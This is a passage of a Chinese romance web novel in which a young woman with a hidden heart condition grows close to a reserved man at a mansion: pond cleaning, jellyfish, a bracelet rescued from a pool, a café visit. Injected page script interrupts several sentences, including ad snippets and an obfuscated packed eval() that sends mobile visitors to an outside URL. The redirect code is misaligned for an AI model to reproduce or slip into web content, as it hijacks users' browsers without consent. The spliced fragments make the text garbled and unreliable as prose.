她将目光立刻调转,取来测试仪来检查水质,每一个测试仪都配有操作指南,她原本还准备研究下的。 但是江述月却直接帮她完成了这一步。 剩下的工作都是江述月完成的,陶栀子乐得清闲,坐在阴凉地的巨石上,一边吃零食一边晃荡着小腿看他干活。 他做那些检测和换水的活看上去熟练而利落,他那双眼眸做任何事都保持着绝对的认真,认真得不像是在检测水质,对仪器有着相当高标准的规范。 以至于她甚至怀疑他以前是不是也被刘姨抓来清理过池塘。 清理好池塘后,两人坐在廊檐下喝柠檬水,泡了一下午的柠檬早已酸涩不堪。 陶栀子放下杯子,看着眼前空无一人的庭院,好像突然想起什么重要的事: “对了,我们好像还没交换过名字。” 江述月倒似乎不在意交换名字这件事,但是既然陶栀子主动提起,他便配合地说了一句:“的确。” “我全名叫陶栀子,就是那个白花的栀子,刘姨他们叫我小陶,你就叫我栀子吧。” 江述月浅抿双唇,看着池塘里畅游的鲤鱼,凉凉地问了一句: “为什么不叫小陶?” 陶栀子显然没预料到他竟然会问出称呼问题,有些始料未及。 “叫小陶显得你像长辈,还是叫栀子好。” 尽管她看不出江述月的具体年纪,他的面容像是同龄人,但是举手投足间那份从容优雅倒像是时间一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 点点淬炼出来的。 陶栀子问向她的时候,眼神灼灼:“你呢,你叫什么?” 她的反问来得极快,好像在心里将这个问题已经酝酿得不止一遍了。 “……述月。” 陶栀子默念着这个名字,在脑海中尝试复原这两个字。 然后不确定地得出结论: “这是你的名吧,那你姓什么?” 江述月并没有直接回答她,而是提出一个她无法拒绝的活动,直接转移了话题。 “我该去喂水母了,一起去看看吗?” 她理解所有人心中的讳莫如深,失神地笑了一下,将问题翻篇。 “你还兼职喂水母吗?” “是啊,跟你兼职扫池塘一样。” 江述月淡淡回应着她,站起身,和她一起把茶壶撤离,然后一前一后去喂水母。 陶栀子对水母这件事的反应尤其大,比她第一次听到《斐多》的讨论还激动。 “我从来没亲眼见过水母,我对水母一如既往的印象你知道是什么吗?” 江述月一路听着她激动的语气,不做声代表默认。 陶栀子自问自答:“小时候看《海绵宝宝》的时候,印象里它总和派大星一起出门抓水母。” 江述月似乎不能与陶栀子一起共情,但是还是在缓缓点头,给她的自言自语一定的回应。 陶栀子见状,眼神黯然,后知后觉地说:“我们好像有年龄差,可能童年不大一样。” 这时江述月缓缓说道: “《海绵宝宝》首播的时候是1999年的,当时我还处于童年,有看过。” 陶栀子因这些小小的巧合而喜笑颜开,像是发现了什么了不起的共通之处,但是细想之下又觉得不对。 “不对啊,《海绵宝宝》第一次被引入国内是2004年,你怎么在1999年看的?” 江述月沉吟半晌,很简短地解释道:“当时随父母在美国旅居。” 这一下子让陶栀子心中的疑问都合理化了。 “难怪,你童年的英语国家的话,看得懂英文的哲学书籍好像也显得合理了。” 看出江述月并没有想深究自己童年的意思,陶栀子也渐渐安静了下来,一回头,便怔了怔。 他们抵达了水母楼,楼下一层中央放着巨大的水族箱,室内昏暗而静谧,发光的水母在里面无声地游着,沉浸在那方天地中。 陶栀子知晓水母对噪音很敏感,连脚步都变得轻了起来。 江述月取来活的盐水虾,用镊子夹起,那镊子给他使得优美而精准,贴着水面轻轻放入。 一切都显得格外温柔,陶栀子见到这个场景,一瞬间像是被拖入了他人的梦境中。 她很难去形容自己对江述月想象,从初见时态度寡淡,到此刻对水母的悉心呵护。 他神情总是严肃,用冷情的目光去洞悉世界,也说不出是否情愿给她读《斐多》和《会饮》。 但是他就是这么做了。 这场短暂的相逢,对于陶栀子来说,无异于一场沙漠暴雨,来时气势汹汹,却留下最细腻温柔的结果。 陶栀子说不出这份情绪,不像是悲伤和遗憾,只是带着酸涩。 她趴在透明的水箱玻璃上,睁大澄澈的双眼,细细地观察水母如披着银月薄纱般游动,将虾米轻轻包裹,缓慢地纳入半透明的体内。 一个荒诞的想法在她脑海里诞生—— 如果来生她不想做人太累,不如当一只被他悉心照料的月亮水母吧。 11. 沉香木 水族箱静谧得可以听到很微弱的电流声。 水母在的透明的水族箱中漂浮,像缓慢在水中飞行的巨型萤火虫,触手柔软,行动缓慢,扬起的水波细微得肉眼无法看清。 陶栀子离水族箱很近,近到几乎要触及玻璃。 给水母喂食的过程太过缓慢和悠长,她弯着腰开始感到疲累,直起身活动了一下。 不知何时江述月停下了手中的动作,静默地看向自己,然后抬手示意角落里的折叠椅。 陶栀子立刻明白他的意思,用力点点头,立刻将椅子搬来坐下,这样就更方面近距离观察水母的。 看水母的时候总觉得时间过得很慢,像是灵魂也被投入水中,只觉天地宁静,但是她又万万不想成为水族箱里的水母,活动永远带着边界,事物只能靠人工喂养,没有一刻能决定自己的去向。 喂食完毕后,江述月将工具放回,重新回来的时候,发现陶栀子还是保持着之前的姿势,不厌其烦地看着,嘴角笑容款款。 很难以想象,几只水母可以让她兴致勃勃看这么久。 江述月站在一旁静等一阵,发现陶栀子丝毫没有厌倦的意思,又抬眼看向户外渐黑的天色。 “差不多了。” 由于水母不能受到噪音惊扰,江述月走到她身边,用浅而清晰的声音说着。 轻声说话时,声音中会多更多气息,陶栀子总觉那气息扰动着空气,在她耳边拂过,绒毛一动,耳朵竟有些发痒。 她的心跳在极短的时间里被短暂地扰动了。 起身的动作带着一点指尖的颤抖,她赶紧将椅子收到一旁,尽量用一些大动作在掩饰自己突如其来的紧张感。 这份紧张,来得奇异,大概是因为江述月不得不在自己耳边压着声音讲话的结果。 不过一缕清风,却能让白杨树窸窣不止。 从水母楼步出,陶栀子也不知心境发生了怎样的变化,比来时安静很多。 江述月向来少言,陶栀子不说话的时候,看上去比平时胆怯很多,像一个跟人后的小鸭子,见到自己跟丢了就连忙追上去,保持着不远不近的距离。 有的人的面具是冷漠或愤怒,陶栀子的面具是不断说话,保持着浓烈的情绪。 只是情绪如烈火,来得越快越浓烈,就越早化为灰烬。 她走在江述月的身后,慢吞吞跟着,在经过一处林荫道的时候,两旁的树将凉风聚集,她捕捉到江述月身上干净清介的香水味,海盐味中夹杂薄荷松针的味道,清润冷冽,像极了盛夏挂着凉风的夜晚。 江述月身上唯一的暖香是腕间沉香木的味道。 很独特的木质香,带着让人难以捕捉的甘甜,还有几分类似药草的香气,在温和中平添了苦涩。 似乎还有更多香味,但是距离太远她有些闻不出来。 “为什么不走上来?”江述月的声音与穿林风声完美混合,听着失了真切。 陶栀子像是终于想到了自己想说些什么,如实表达着自己嗅觉的结论: “我刚刚一直在分辨你这串手串上散发的味道,香味很独特,但是剩下一些香味构成有些复杂,我闻不出来。” 说话间,她下意识揉了揉鼻尖,想放松下鼻子,因为刚刚费力工作了太久。 “嗅觉这么灵敏?” 江述月反应沉稳,但眼中难得闪过一丝惊讶。 下一秒,陶栀子听见身旁响起木质串珠碰撞的细腻回响。 他伸出手,摊开手心,那串沉香木已经被他从手腕上取下,静躺在他的手心,递到陶栀子跟前。 “那你现在分辨一下剩下的气味。” 陶栀子有些受宠若惊,要是不知道这手串的意义还好,现在知道了手串的重要性,她半点都不敢碰,连连拒绝。 “这手串对你太重要了,我不能碰。” 夜幕低垂,两人并行间,交织着鸽子的咕咕低语。 江述月沉默半晌,才缓缓道:“很重要,所以想知道关于它更多的描述。” 陶栀子在这句话中有过短暂的迷失,甚至有点辨认不出江述月的感情色彩,但是她却顿生某种使命感。 她吞咽了一下,默默将手心的薄汗在衣摆处蹭干,这才郑重地从他手中取下手串。 指尖不可避免地触及到他的掌心,有些微凉的细腻触感,却有好几分钟萦绕在她的脑海。 陶栀子迟疑地用另一只手轻抚额头,像是想确认下自己最近是不是病情加重了,为什么在目睹江述月许多微动作的时候,心脏都感觉有点异样。 她用双手小心翼翼地的捧着手串,像是捧着一只受伤的小鸟。 江述月看着她略显夸张的动作,出声像是给她打强心剂:“不用这么谨慎。” 陶栀子闻声,脑子闪回了自己的童年,像是被回忆中的自己逗乐了一样。 她笑着解释道:“我小时候因为神经大条弄坏过不少东西,比如手滑打碎吃饭的碗,把玩别人的发卡不小心掉落,上面的塑料蝴蝶应声断成两半……” 说话间,她注意到江述月眼中终于有了起伏,这一刻总觉得内心得意洋洋。 好像能让这张脸上的神情出现波动,是陶栀子最快意的事。 “摔坏碗和发卡,会引发什么严重后果吗?”他略带疑惑地问道。 “没什么严重后果,会被阿姨用鸡毛掸子抽小腿,那是我最怕的东西。” 她浅笑着叹了口气,声音带着乐观的张扬,看向西边的夕阳。 阳光被揉成碎金,点点片片,落入她澄澈的眼眸,她看着夕阳的瞳眸中,是微弱的光,“被打多了就长记性了,这可能是教育的一部分。” “我是武力教育的反对派。” 江述月的声音却陡然沉了下来,他很少对她发表一些观点分明的话。 这下反而是陶栀子眼睫颤动一下,一时语塞,索性收回视线,垂下眼睑,将那串手串放在鼻下浅嗅。 “这里面有柔和的木质香,还有很淡的甜香,但是并非直白的甜,还有药草的想起,剩下的……我不确定这薄荷味是手串本身散发的,还是你身上的香水味渗透的。” “可能等杂味散一散就能分辨出来了。” 她正急于归还,江述月在一旁说道:“你现在给我,不会又会重新沾上香水味了吗?” “也有道理。” 她收回手串,用手指将它稳妥地拎起,微微上举,让林荫道和夕阳在手串的圈内形成相框中的画面。 她饶有兴致地在手串中取景, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眯着一只眼,乐此不疲地把玩着。 “你接下来该下班回家了吧?” 陶栀子忽然想起些什么,因为两人总是在夕阳时分说再见。 “……是的。”江述月顿了一下,答道。 “正巧我要去闻咖啡豆,要出去一趟,我们同路。” 总觉得身边有一个同龄人每天聊聊天,江述月这个人比较沉闷,但是并非全然绝情的人,她总觉得听江述月说说话比外界那纷杂繁华的都市有意思多了。 想到还有再一起走上很长一段,她内心就多了一些雀跃感,尽管她很快用手掌放在胸口处物理抚平。 但是陶栀子的算盘珠子刚打到一半,却发现江述月直接带她进入了一栋楼。 “从这里可以抄近道,不用绕过整个果园。” 江述月简短解释道。 “不愧是工作人员,果然对地形比较熟悉。” 楼内是中央是一处宽大的天井,有一个波光粼粼的露天泳池,游泳的时候可以看见天空的颜色。 “这泳池保养得很干净,一般是谁在里面游?” 她觉得公馆内很多资源都没有充分利用,比如无人查看的锦鲤池塘和藏书阁。 但是即便无人使用,也必须耗费诸多人力物力去保养。 “很少使用。” 由于光线的问题,陶栀子看不清脚下的路有点不敢下脚。 江述月抬手将灯打开,柔和的灯带刚好可以照亮脚下的石板路,但是陶栀子对地形不熟悉,不放心地将手串还给江述月。 “还是你拿着吧,我怕一会不小心踩滑什么的。” 交接的过程中出了点偏差,他们恰好处于泳池边上,在这节骨眼上,那串沉香木在空中坠落。 陶栀子本想半途挽救,伸出手却扑了个空。 手串恰好落在泳池边缘上,好巧不巧,重心一偏,咕咚一声掉了下去。 陶栀子见状,反倒比江述月还要担忧:“这手串不能泡水吧?” “我去找个工具打捞一下。” 江述月情绪稳定地径直去往角落里的储物间。 刚走没几步,身后响起一片淋漓水声。 江述月脚步顿住,回过头,泳池内水面晃荡,在水花中击碎了刚刚升起的月光。 陶栀子早已无影无踪,只剩下岸上的一双皮鞋。 好在水下也有灯带,她入水后四下环顾,便一鼓作气沉入三米深的水下,将刚坠底的手串在进入出水口之前眼疾手快地勾在了手中。 头露出水面的时候,她对上了一双肃穆冷清的眼,从自己角度看去,她第一次这么清晰地瞧见他瞳眸的颜色,一种带着韵致的琥珀色。 江述月不知何时早已半跪在岸边垂目凝视着她,看上去情绪不佳。 她好不容易回了口气,咧嘴露出一个笑容,右手从水下伸出,莹白的手正攥着滴水的手串。 她双眼因为在水下睁眼过久的原因,有些微微泛红。 “呐,这手串不能长时间泡水,但是打捞及时,应该还有救……” 江述月没有第一时间接过手串,而是用前所未有的森冷目光看着她,字字珠玑地沉声叫着她全名: “陶栀子,手串再贵只是死物,人才是活的。” 12. 鹿与溪 在江述月发寒的目光下,陶栀子脸上的笑容有些僵,有点挂不住了。 但她泡在水里,掉开视线,用一种固执的语气,低声嘟囔: “如果重来一次,我还是会跳下去。” 这么小的声音,原以为在户外声音会大打折扣,她也没打算让对方听到。 这是说给自己听的。 从江述月微微蹙起的眉头,陶栀子判断出,他肯定听到了。 原以为会可能是更加严厉的语气,但是他的声音却忽然放缓了,带着一如既往对她的无可奈何,想发作又发作不出来的模样。 他看陶栀子的眼神变得有些复杂,略微离陶栀子的小脸近了几分,不解地低声发问:“为什么?” “你送我书,给我讲很多没听过的故事,我帮你捡手串,这是应该的。” 她阐述原因的时候颇为理直气壮,平日里她应当会下意识回避江述月的目光。 此情此景下,也不知是不是池中冰凉的水给足了她力量,她的话可以这样掷地有声。 “……没有什么是应该的,以生换死,永远不值当。” 江述月厉声开口,字字珠玑。 说完这句之后,陶栀子眼神颤抖了一下,下意识往水下瑟缩了一些。 她两手趴在泳池边缘,只露出一双澄澈的眼睛有些茫然和委屈地看着他,彻底不做声了。 像是知道自己做错了,但是又像是不习惯他突如其来的严肃。 她就这样静静地用一双浸泡过池水的眼睛看着江述月。 隔了一阵,江述月不知为何忽然放缓了语气,直视着她: “你用这种眼神看我也没用。” 没等陶栀子即便辩驳,江述月冲她伸出手,像是妥协地沉声道: “手先给我,拉你上来。” 空气凝滞,陶栀子盯着这只伸向自己手,心里不住闪现出无数种动摇。 短短一瞬,她却倾刻间对脑海里那句话有了深刻理解。 那是《圣经》里的诗篇: 「我的心切慕你,如鹿切慕溪水。」 可是口渴的鹿渴慕溪水,它是否也担心溪水发现自己极度渴望? 她终是垂下头,迟迟不动,摇摇头,哑然说道:“你背过身去,我自己上来更方便。” 许是察觉到她可能有什么不便之处,江述月神情微滞,便转身去储藏室取东西。 陶栀子从泳池里爬上来的样子,全无形象可言。 她自己都觉得自己是一只洗澡水打湿的毛皮的猫。 沾湿的衣服紧贴,能轻易看出她身上形销骨立。 她站在泳池边上甩了甩身上的水,勉强能让江述月回来的时候达到勉强可以见他的样子。 短短半分钟的时候,她觉得自己的情况好像不如想象中那么乐观。 原以为短暂潜入水中没有大碍,但是她已经隐隐感到有缺氧感。 不知道江述月从哪里帮她取来一面很大的浴巾,兀自打开,在不碰到她半点的情况下将她包裹得严严实实。 陶栀子裹着浴巾弓着腰,试图用自己习以为常的姿势来缓解不适感,但是还是没逃过江述月锐利的双眼。 再结合平时对陶栀子劳累之后气喘和第一天相见她双唇的青紫,一种专业的敏感瞬间条件反射般涌现。 “你感到缺氧吗……” 江述月投来了探寻的目光。 陶栀子立刻直起身,将浴巾拉高,挡住了自己可能开始发紫的双唇,有些急切地开口。 “平时容易缺氧,老毛病了,没有大碍。” 她条件反射地隐藏疾病。 她说完后没听到江述月的回应,一抬眼,发现他正有些将信将疑地注视着自己。 陶栀子有些心虚地移开目光,总觉得被江述月注视,就像被仍在了日光下,一切内心的秘密都暴露无遗。 “前面就是我住的小木屋了,我去换身衣服,你如果赶时间的话就不用等我了。” 因为刚才陶栀子打算和他一起同行的。 “先去换衣服吧,别着凉了。” 江述月这么说,陶栀子也有点弄不明白他是什么打算。 走了没几步,她又停住,不放心地问道:“你要等我吗?” 江述月看着她,点点头。 她露出浴巾的双眼颇感意外,目光停顿了一下后,又重新染上了笑意,这才安心去小木屋换衣服。 从服药,到换衣服,再给自己的嘴唇补遮瑕。 为了不让江述月久等,陶栀子仅用了十五分钟的时候,连头发都来不及吹,顶着湿发就飞奔出来。 她担心在打开木门的一瞬间,发现江述月无影无踪。 每次都抱以最坏的打算去相信他人,于是每一次他人的正常履约甚至成了陶栀子心中的确幸。 环视庭院一眼,她在银杏树下发现那个倚靠的身影。 江述月高大而清瘦,侧脸在夜幕下被金色的灯光勾勒得分明,轮廓坚毅而流畅,眼窝在低垂眉眼时显格外幽邃,薄唇的轮廓也是如刀刻般清晰,不露声色。 面对这样一个寡淡的人,很多人可能都会对他的神情有所畏惧,但是陶栀子却感觉江述月身上存在着某种牵引她内心的东西。 她默默走近,在离江述月身侧数米外停住了脚步,他正在把玩着自己沉香木串子。 隔着一段距离,陶栀子端详着他。 随后,江述月像是感知到了什么,将手串重新戴会腕骨处,直起身看向陶栀子,凝视着她,轻声问:“在想什么?” 陶栀子凝视着他,说出刚才在泳池中脑海里的诗篇。 “我是鹿,你是溪。” 鹿渴慕饮溪,也许不是喜欢,而是本能。 江述月嘴角露出了让人捉摸不透的弧度,让陶栀子根本不知道他是不是听懂了。 但是这样抽象的形容,倒是不一定联想到原句。 “走吧,鹿。” 江述月上前,漆黑的眸色中多了些不可言明,领着她一起趁着夜色出了公馆。 陶栀子心想:他倒是会现学现用。 出公馆的这段路,分明近在眼前,走起来却格外漫长。 陶栀子没有精力说太多话,她的身体有种疲乏。 她好几次努力想打气精神,可惜,因刚才那一次冲动跳水,那周身的疲惫感足以随时将她吞没。 “下次别再往水里跳了。” 走出公馆之前,江述月在人潮来临之前,站在栅栏前,说了这样一句话。 两人静默地走在路上,前方一道雕花铁栅栏,将公馆内外切分成两个世界。 “我游泳技术还不错,没人教过我,我自己学着别人的样子扑腾着学会的。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 陶栀子自知自己在泅水方面颇有天赋,但是说到这些天赋。 它将永远被疾病埋没,于是她不能如小时候那样得意。 她太知道自己永远游泳受限,如果过久的闭气甚至会要了她的命。 于是她早已学会如何与自己的身体和平共处。 在心脏发怒之前,她可以适当下潜。 “但是我这么说不是为了自夸,而是……” 她略微整理了一下内心,有些吞吞吐吐,但是江述月却站在原地耐心瞪着她把剩下的话讲完。 “也许我很难让你理解这份心情,就像游泳一样,印象里从小到大,没人教会我太多道理,我很多时候按照直觉行事,显得笨拙而鲁莽。” “很多东西我只能自己尝试用常识去理解,但是你给我讲的那些东西,灵魂不朽和爱的分类,从来没有人告诉过我。” 江述月似乎并不好为人师,听到这里,谦和地补充道: “那些理论也不是我提出的……” 陶栀子加重了语气,“无所谓谁提出的,我只是在力所能及地感激你而已,否则……我好像一无所有,也回报不了你什么。” 江述月轻不可闻地叹了口气,说道:“你不需要回报什么,人行事的逻辑远比你想象中简单。” 月色,在此刻,染上欢愉。 陶栀子双眼抬起,笑容染上月色,脆生生地回道:“好,我知道了。” 江述月在打开大门之前,半回头强调道:“你还没答应我,别再往水里跳。” “你和我一起去闻豆子,我就答应。” 陶栀子硬着头皮提着条件,本来是想趁着江述月拒绝,自己好将话题转移。 结果他竟然答应了:“好。” 随即,公馆的小门被打开,他们一前一后走了出去。 陶栀子走远之后,像是想到了什么回头看向夜色中的七号公馆,熄灭着灯的主楼在灰蓝色层云下显得愈发庄严和冷漠,像是将人刻意隔绝在外一样。 陶栀子发现这个角度观察起来美则美矣,就是少了很多人情味。 远远看去只能看到公馆冰山一角,对于她来说大得没边。 她忽然分享起一个令她震惊的消息:“我今早去吃生煎的时候,老板跟我说,这里地价均价高达十五万一平。” “我换算了一下光是我那间小木屋,目测六十平左右,岂不是要将近一千万?” 她绘声绘色地描述自己对于一线城市核心位置的房价的震惊,原以为可以和江述月一起震惊。 怎料,江述月好像对这些关注不多,模棱两可地说道:“可能吧。” 陶栀子开启她的口算模式,发现完全无法估量出整个公馆市场价值。 “我觉得七号公馆的主人拥有这么多东西,肯定没什么烦恼。” 江述月听到这里才开始否定道:“那倒未必。” “但如果我拥有七号公馆,我就可以……” 请最好的医生,做无数场心脏手术,用最好的药,住最好的病房,雇佣最好的护工,吃最好的餐食…… 还能翻修一下安州的儿童之家,省得一个秋千架坏了又修,修了又坏…… 江述月不动声色地打断了她的畅想,温声提醒道:“不担心咖啡馆打烊吗?” 她赶紧收敛起情绪,小步跟了上去。 13. 苏打饼干 再次来到古树咖啡馆,这是陶栀子第一次在傍晚来到这里。 整个咖啡馆每个餐桌都点上的蜡烛,烛光摇曳,配合着被指明道路的灯带,在人造枫叶处投着灼灼红色。 那些星星点点的烛光,远远看去总觉得带点眩晕,像是虚景,让人联想起山峦上轰轰烈烈生长得的着野生火棘,如花一样耀眼。 室内香薰机不断为空气降温,略有湿意。 陶栀子刚踏入咖啡馆的时候,便敏锐发现菜单已经换了,变成了酒水菜单。 但是那一面供展示的咖啡墙倒是一如既往。 她站在前台处欣赏着菜单上的颇有文采的鸡尾酒名字,但是还是妥协地摇摇头。 她转头看向江述月,说道: “我不能喝酒,你自己喝吧。” 也不能喝咖啡。 对于自律的病人而言,酒和咖啡能不碰就不碰。 陈思雨从后厨刚刚走了出来,身上还系着黑色围裙,见到陶栀子后便走了过来,和她一如既往地闲聊。 “我们店里最近新增了五十个种类的豆子,我已经陈列出来了。” 陶栀子显得有些不好意思,显然是自己平时的奇怪举动做多了,陈思雨都记住自己了。 陈思雨对点单这件事比较佛系,主要以每个客人舒心为主,消费全凭客人自己的意愿。 说话间,陈思雨似乎已经注意到一旁的江述月很久了,又见他就站在陶栀子身边,便眉间一动,露出一抹笑看向陶栀子,问道: “新朋友?” 陶栀子搜肠刮肚后,想了一个最适宜介绍江述月的方式: “是的,他在公馆内的图书室工作。” 陈思雨闻言,眉梢一挑,眼中倒是多了几分熟络,但是啧啧有声地惊奇地说: “公馆内原来图书室还有人专门管理,这工作听起来比我这里有趣多了。” 陶栀子附和地点点头,转头看向江述月,一边问一边掏出钱包: “你想喝点什么吃点什么,我买单,机会难得,我平时可是很抠抠搜搜一人。” 江述月的半张脸浸入柔和的光线中,听到陶栀子略显豪气的话,只是缓缓摇头: “我来付。” 像是提前预料到陶栀子会拒绝一样,他不露声色补充了一句:“员工福利,月底会报销的。” 陶栀子一时间大脑短路了半晌,本已准备好的托辞一句都说不出来。 她看着江述月的侧脸,总觉得他不像是会为所谓“员工福利”心动的人。 江述月只是太了解她的逻辑,每一句话都说在了她的逻辑电上,让她无力反驳。 可能她真的消费观念过于独来独往,虽然她的平日里花钱方面比较节俭,但是她愿意为对自己好的人花钱,给他买自己舍不得吃的零食,将自己最好的东西都慷慨地给他。 但是她从未知道,两个人的相处其实可以有来有回。 大概是自己一味给予,已经成为了骨子里的习惯,江述月来买单她有满满的不习惯。 “别人买单我不习惯……” 陶栀子张了张口,低声说。 江述月绕过她,径直走向收银台,轻声说:“那就学会慢慢习惯。” 陶栀子站在他身边,内心满满不好意思,开始盘算着一会儿刷卡的时候自己要不要抢先一步。 在她盘算之际,江述月低声说:“你现在先去闻豆子吧,我还需要多看看菜单才知道点什么。” 陶栀子听到这句话,才后知后觉地发现自己杵在一旁确实有几分尴尬。 江述月一句轻飘飘的话,就轻松化解了她内心的不安。 说好陪她一起来闻咖啡豆的,但其实江述月点了杯酒和简餐,坐在咖啡墙的附近。 陶栀子打开一个又一个玻璃罐子,夜晚的光线打在咖啡豆上,很难分辨深浅。 但是正因为分不清深浅,才不会因为视觉而给嗅觉以误导。 她在五十种咖啡豆中发现了一款自己最喜欢的豆子,浓厚苦涩后藏着新鲜的木香,还夹杂几分浆果的酸涩,余味又带着清凉。 这款豆子的气味组成让她想到了江述月身上香味,她默默拿出手机将玻璃罐子里上的标签拍了一下,好让自己记住它。 她想到了什么,刚好看向不远处正坐在真皮沙发上的江述月。 甚至等不及绕行到他的面前,直接隔着一截木头栏杆,来到他身边。 陶栀子趴在木头栏杆上,话到了嘴边反而反常地忸怩了起来。 “述……述月……先生。” 陶栀子本想叫他名字,但是总觉得不带姓氏的名字有种别扭的暧昧感,而名字后的后缀,叫哥也不是,叫叔更不是。 于是她还是擅自在后面添了个尊称,这样才有法子叫出口。 江述月又被她突如其来的称呼引起了注意,他倒是没有纠正,而是问道: “你真的要这么客套吗?” “我一直都挺客套的。” 陶栀子若无其事地解释道,抓住这个空挡问他:“你是什么季节出生的啊?” 问生日不能太直白,她想循序渐进。 “冬天。” 冬天,离现在已经太久,毕竟,她三个月之后就要走了。 陶栀子沉默了一阵,眼神的光黯淡下去,有些失望地说:“原来你在寒冷的季节出生的。” “怎么了?”江述月也习惯了隔着栏杆跟她对话。 “没怎么,我只是想借个由头和你一起吃蛋糕而已。” 陶栀子在原地,无意识地用鞋头蹭着栏杆下一节台阶,以此来掩饰自己的突如其来的念头。 她抬眼看着的江述月的侧脸,急切地补充,像是抢答一样:“我知道你不喜欢吃甜的!” “想吃蛋糕直接买就好了,不用等到生日。” 这是江述月对她说的话,一如既往地轻描淡写,很多对于陶栀子来说有些复杂的事情在他眼里永远可以简单解决。 这时服务生刚好将简餐端上。 江述月为自己了一杯用薄荷调出来的酒,放在灯下是好看的淡蓝色。 他将一杯放满水果装饰的果茶放在自己对面,说了一句:“这杯没有酒精,也没有咖啡因。” “给我的?”陶栀子又是一次意外的反问。 “这里还有第三个人吗?” 听到对方嗓音中夹杂的反问,虽然没有很热情,但是看不出任何不耐。 陶栀子看向他。 江述月总是用很的态度在轻易让陶栀子内心感到热意。 “那我闻完豆子再来,快了。” 陶栀子正欲重新返回咖啡墙的时候,面前出现了一个白色盘子。 “先吃这个。” 里面是苏打饼干加黑色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13460711|141712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼子酱,刚才陶栀子在一旁清楚看到江述月亲自用小勺子均匀的抹上去的。 还有两块苏打饼干上放的是火腿片和意大利香肠的切片。 这一盘都是用来配酒的好零食,苏打饼干上带着强烈的植物香味。 陶栀子凑近闻了闻,发现自己立刻沉迷于香料的味道。 “这饼干上是什么香料的味道吗?很好闻。” “迷迭香和一点海盐粒。”江述月跟她解释道,见陶栀子迟迟不动弹,他才又补充了一句,“先尝尝。” 陶栀子总觉得隔着栏杆在他面前吃东西好像显得不是太礼貌,但更多的是让她思绪回到了十多年前。 福利院旁边是一个很大的快餐店,通体玻璃,可以通过福利院的围墙清晰看到里面的场景。 尤其在夜晚的时候,看得更清晰。 她眼中记忆最深刻的场景,永远不是那些可口的食物,而是那些有家长陪同的孩子可以在里面室内游乐场上蹿下跳地玩耍。 玩累了,就会跑向家长的餐桌,家人会喂他们吃炸鸡块。 当时,陶栀子仰着头,羡慕到近乎痴迷的眼神,紧紧锁在那落地玻璃上。 与那一切只隔着一堵围墙,只不过已然是身处两份截然不同的天地。 多年前记忆在此刻却又莫名其妙地攻击着她。 这些说不上多痛楚的回忆,却让她此时早已忘记了那些假模假样的推辞。 她抿了抿双唇,沉默了下来,抬起手伸向那面白瓷盘子,缓缓拿起一块的饼干,往嘴里塞。 味道抵达口腔的同时,她的手也跟着轻微颤抖,喉头一哽,眼眶竟然有些发酸,有些眼中的水汽开始蒸发在空气中。 她垂下眼,将饼干更快塞进了嘴里,慢慢咀嚼着。 分明是一份难得的美味,却越尝越觉得眼中的晶莹开始有不可控的趋势。 好在着昏暗的光线给足了她体面,让她不至于被江述月亲眼看到这些内心波动。 多幼稚啊,一个成年人为了一块饼干热泪盈眶。 但是……又好像有些可悲。 她的沙哑着声音,不知道是因为哽咽,还是因为饼干太干,不清不楚地问道: “你家里有兄弟姐妹吗?” 话虽不清晰,但是江述月却听懂了,他回答:“没有。” 陶栀子假借擦嘴的动作顺带将眼角的湿润抹去,她在一旁酝酿了好久,才慢吞吞地问道: “那你是怎么知道对别人好的……” 江述月放盘子的动作滞了一瞬,视线重新看向她时,她已经先一步转身,不敢看他的神情。 她留下了一个单薄孤寂的背影,把半个自己浸在了阴影里,手足无措地说: “我……我先把剩下的豆子闻一遍,就过来。” 她在咖啡墙前待了好一阵,余光甚至都不敢再看向江述月。 那一刻,她恍惚明白了那句话。 {他走了过去,像对着太阳似的不敢朝她多望,但也像对着太阳一般,即使不去望她,还是看得见她。}【注】 小孩子如果要抵御住诱人的玩具,最好的办法都是看都不要往那里看。 多年后,陶栀子还在践行着这句话。 她总觉自己好像长大了,生理意义的长大。 但是自己的思绪和渴望,好像一辈子都被困在了那些缺憾的童年记忆里。 14. 小礼物 当陶栀子重新来到座位上的时候,江述月杯中的冰块还没有融化,但是浅绿色的冰块已经被酒液磨平了棱角,漂浮在面上。 陶栀子的水果茶依旧还是满满当当,就放在薄荷酒的对面,中间隔着几道的简餐。 她将手里缠着丝带的精致纸袋藏在了身后,像寻求一个最佳时机。 加湿器飘来带着淡雅玫瑰香的水雾,带着湿气和凉意,萦绕在陶栀子眼前。 她眼前迷蒙,费力才能瞧见江述月的轮廓和脸庞。 桌面上的木质的餐盘,是乌篷船的模样,在香槟色的桌面上,像是夜航的船只,船只上载着糕点,是小马形状绿豆糕,最上方点缀了干桂花 她梦中总是能想起斑驳记忆里的天与海,那是她关于自己的出生地唯一的记忆。 水上有小型渔船,空气中散发着鱼腥味,船夫们天不亮就捕鱼返航,大批量的新鲜鱼虾还没来得及碰到地面,就被提前装箱送上大卡车。 海边的劳作十分辛苦,她目光所及之处,没人穿着华丽衣服,就连捕鱼的船也早已残损掉漆,发动时候的突突声,震耳欲聋,让她每次都痛苦地闭上眼,用小手捂住耳朵。 那地方极为忙碌,生活着用落后方式捕鱼为生的人。 尽是忙碌之人,却满目荒凉。 是的,她的记忆告诉她,她来自海滨城市,绝不是位于内陆的安州。 她深吸一口气,低头喝着冰凉的果茶,任由那已经被融化冰块稀释的饮料能及时麻痹她由桌上的乌篷船被勾起的记忆。 人之将死,就不要去过分追究那些出生时候的事了。 